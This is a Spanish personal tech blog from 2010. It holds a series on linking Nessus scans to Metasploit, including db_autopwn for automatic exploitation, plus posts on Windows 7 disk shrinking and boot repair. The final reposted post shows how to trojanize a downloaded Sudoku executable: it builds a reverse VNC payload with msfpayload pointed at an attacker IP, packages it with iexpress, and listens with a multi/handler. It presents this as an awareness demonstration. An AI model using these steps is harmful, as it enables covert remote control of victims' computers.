25 Oct 2010

Nessus y Metasploit (IV)

Y para terminar esta serie dedicada a Nessus y Metasploit voy a ver como emplear archivos con resultados de escaneos en Metasploit.
Si el archivo está en formato .nbe no hay ninguna pega. Lo malo es que a partir de la versión 4 Nessus ya no da la opción de emplear ese formato. El procedimiento a seguir entonces es el siguiente:
Guardamos el resultado del escaneo en el formato .nessus en versión 1, anotamos el nombre del informe tal y como aparece en la pestaña Reports del frontal web de Nessus y lo transformamos mediante:
cd /opt/nessus/bin
./nessus --dot-nessus resultado.nessus -i nombre_del_informe -o resultado.nbe

Ya con ese archivo solo hace falta entrar en Metasploit, arrancar y crear la base de datos de postgreSQL si no lo estaba ya y ejecutar:
db_import_nessus_nbe resultado.nbe


---

Nessus y Metasploit (III)

Siguiente asalto: vamos a ver como usar Nessus desde Metasploit. Esto va a ser simplemente una ristra de comandos con la idea de tener un recordatorio siempre a mano, por lo que hay que comprender que hay cosas que simplemente figuran por su probable utilización, no es que sea un paso-a-paso exacto a seguir. Aclarado esto vamos a por ellos:
/opt/nessus/sbin/nessusd
cd /pentest/exploits/framework3
./msfconsole
load nessus
nessus_help
nessus_connect username:passwd@127.0.0.1:8834 ok
nessus_server_status
nessus_admin   (debemos tener un usuario admin)
nessus_plugin_list
nessus_policy_list
Anotar el [id] y [nombre] del que pensemos usar. Si no está creada habrá que entrar por el frontal web de Nessus en 127.0.0.1:8834 y crearla. Ahora ya lanzamos el escaneo:
nessus_scan_new [id] [nombre] [ip]     ([id] y [nombre] anteriores y la [ip] objetivo)
Para ver el progreso del escaneo:
nessus_scan_status
nessus_report_list   (atentos a copiar el [ID] en el que estemos interesados)
nessus_report_hosts [ID]
nessus_report_host_ports [ip] [ID]
nessus_report_host_detail [ip] [puerto] [protocolo] [ID]

Bueno, seguramente veremos cosas muy interesantes en los resultados y queremos lanzar el autopwn. Para cargar los resultados en la base de datos la arrancamos como hemos visto en el post anterior, si no está ya arrancada, ejecutando en una terminal:
/etc/init.d/postgresql-8.3 start   (si hemos seguido el post anterior no debe dar problemas)
Y de vuelta en Metasploit:
db_driver postgresql
db_connect postgres:[contraseña]@127.0.0.1/dbmetasploit
nessus_report_get [ID]
db_services
db_hosts -c address,vulns
db_autopwn -x -e
sessions -l
sessions -i [id_de_sesion]

---

Nessus y Metasploit (II)

Siguiendo con el tema debo antes anotar, ya que luego será necesario, como configurar la base de datos postgreSQL para que funcione correctamente. El motivo de emplear postgreSQL es que se han comunicado en los foros problemas con el uso de autopwn que son atribuibles al uso de la base de datos sqlite3.
Al intentar iniciar la base de datos postgreSQL se produce un error que se soluciona deshabilitando SSL:
kate /etc/postgresql/8.3/main/postgresql.conf
y comentamos la línea que dice:
ssl=true #(change requieres restart)
Ahora ya podemos arrancar la base de datos:
/etc/init.d/postgresql-8.3 start   (o la versión que tengas)
Configuramos el usuario y passwd:
sudo su postgres -c psql
ALTER USER postgres WITH PASSWORD [contraseña];
\q
sudo passwd -d postgres
sudo su postgres -c passwd
e introducimos la misma [contraseña]
Vamos a Metasploit:
cd /pentest/exploits/framework3
./msfconsole
db_driver postgresql
db_connect postgres:[contraseña]@127.0.0.1/dbmetasploit

Y a darle al autopwn con tranquilidad!

Gracias a sickness por sus explicaciones.
---

Nessus y Metasploit (I)

Las dos opciones para emplear Nessus en Metasploit son lanzarlo desde la propia consola de Metasploit y volcar los resultados a base de datos o importar los resultados desde un archivo externo.
Lo primero desde luego es descargar e instalar Nessus. Una vez descargado de la página correspondiente:
dpkg -i Nessus-xxx.deb
Creamos un usuario con privilegios de administrador:
/opt/nessus/sbin/nessus-adduser
Lo siguiente es registrarlo en la página web:
http://www.nessus.org/plugins/index.php?view=register
Y ahora tenemos que elegir si usar el registro en línea para acceder a las actualizaciones de los plugins o hacerlo desde consola. La elección depende de si vamos a trabajar detras de un proxy o no, ya que en el segundo caso las actualizaciones son automáticas pero necesitamos conexión directa. Si vamos a estar tras un proxy hay que usar la primera opción, y OJO, al tratarse de una versión Home Feed no puede deshacerse la elección realizada.
Con el código recibido, y si optamos por la primera opción (trabajamos detrás de un proxy) vamos a:
http://plugins.nessus.org/offline.php
Introducimos los datos pedidos y cuidamos de seguir las instrucciones al pie de la letra guardando el fichero .rc en:
/opt/nessus/etc/nessus/nessus-fetch.rc
Ahora abrimos este archivo .rc y lo actualizamos con los datos de nuestro proxy. Para actualizar Nessus habrá que lanzar desde ahora:
/opt/nessus/sbin/nessus-update-plugins

En el otro caso ejecutamos:
/opt/nessus/bin/nessus-fetch --register [key]
Y ya se encarga Nessus de actualizarse el solito.

Muy tarde ya. Mañana sigo con el tema.

---

24 Oct 2010

Particiones en Windows 7

Un apunte rápido sobre las particiones en Windows 7, o mejor dicho, sobre el "reparticionado" en un sistema en el que ya lo tenemos instalado y queremos hacer espacio para instalar que se yo... un Linux no?
Lo normal es hacerlo desde el gestor de dispositivos que incorpora el S.O. pero puede suceder que no nos deje tanto espacio como nos gustaría. El problema se puede solucionar recurriendo a la línea de comandos, después de haber desfragmentado el volumen.
Para ello abrimos un terminal de comandos y ejecutamos:
diskpart
list volume
Tomamos nota del volumen a reducir para el siguiente paso:
select volume volumen_a_reducir
shrink querymax
Nos muestra el tamaño máximo disponible para la reducción. Suponiendo que queremos reducir el volumen en tamaño_a_reducir, en MB:
shrink desired=tamaño_a_reducir
exit
Cerramos la consola y desde el gestor de dispositivos creamos la unidad lógica en el espacio que nos aparece libre para que no tengamos problemas con el reconocimiento de las particiones que creemos con Linux.

23 Oct 2010

Problemas arranque

Esto es simplemente una recopilación de cosas que me han salvado el día en algún momento. Una de las primeras cosas a tener en cuenta es que siempre he tenido problemas cuando he creado particiones en Linux y luego he tratado de que Windows accediera a ellas. Lo primero es por tanto crear las particiones lógicas desde Windows y luego formatearlas desde Linux a gusto del consumidor.

En caso de problemas con el arranque de Linux y sea necesario rehacer el Grub:
Arrancar con el liveDVD de la instalación (Linux Mint en mi caso)
sudo fdisk -l
Tomar nota de la partición del S.O.
mount /dev/sda6 /mnt
sudo grub-setup -d /mnt/boot/grub -m /mnt/boot/grub/device.map /dev/sda

Si lo que falla es el arranque del Windows, en mi caso el 7, lo primero es arrancar la consola de recuperación. Si no está instalada reiniciar con el disco de Windows y seleccionar:
Reparar el equipo -> Opciones de recuperación -> Símbolo del Sistema
Aquí ejecutamos:
bootrec /fixmbr
bootrec /fixboot
Si con eso no funciona el arranque repetimos el proceso para arrancar con la consola de recuperación y ejecutamos:
bcdedit /export c:\BCD_backup
c:
cd boot
attrib bcd -s -h -r
ren c:\boot\bcd bcd.old
bootrec /RebuildBcd

Y si ni así se soluciona... a googlear!

22 Oct 2010

Troyanizando en 5'

Enlace: http://gnuler.blogspot.com/2009/06/troyanizando-en-5.html
Contenido:
Uno de los temas charlados durante las jornadas que dicté con Silvia y Gustavo hace dos semanas, fue la responsabilidad del usuario al momento de usar su PC. Con esto de responsabilidad nos referíamos a que no se puede delegar toda la responsabilidad o la decisión de qué es benébolo y que no en un antivirus, sino que es el usuario el que tiene que aportar su lado humano y discernir a la hora de, por ejemplo, bajar un software de Internet de un lugar de confianza.

Muchas veces la gente no es realmente consciente de qué tan malo puede ser un troyano, suena demasiado a ciencia ficción quizás. Es por esto que hicimos una pequeña demostración donde nos bajabamos a nuestra laptop un Sudoku de un sitio de internet dedicado a descargas.

La particularidad era que este soft estaba alterado por nosotros, y al ejecutarse y luego cerrarse se lanzaba una conexión VNC reversa contra la máquina del atacante. Pero mientras tanto era idéntico al software real.

Lamentablemente no tuvimos tiempo suficiente para mostrar qué tan simple fue para nosotros troyanizar este soft, por lo que se los cuento por acá:

Ensuciandonos las manos
El primer paso fue bajar una versión del sudoku que sea un exe standalone, muy fácil buscando un poco por google.

Luego usamos metasploit para generar el payload del vnc reverso, para eso hicimos algo así:

msfpayload windows/vncinject/reverse_tcp LHOST=IP_ATACANTE LPORT=3333 X > reverse-vnc.exe
Y por último nos falta juntar ambas piezas, para no complicarnos usamos una herramienta que es parte de Windows, iexpress.

Del lado del atacante esperamos pacientes con metasploit escuchando:

msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LPORT=3333 LHOST=172.15.0.10 DisableCourtesyShell=TRUE E

Y esto es todo! Una vez que el usuario ejecute nuestro exe empaquetado, se lanzará también el payload del reverse VNC y nos abrirá una bonita ventana desde la cuál podremos controlar a la vícima.


Espero que sirva para que aquellos no tan cercanos al mundo de la Seguridad Informática se den una idea de "que tan fácil" es, y piensen dos veces antes de bajar algún soft desde rapidshare, megaupload, etc.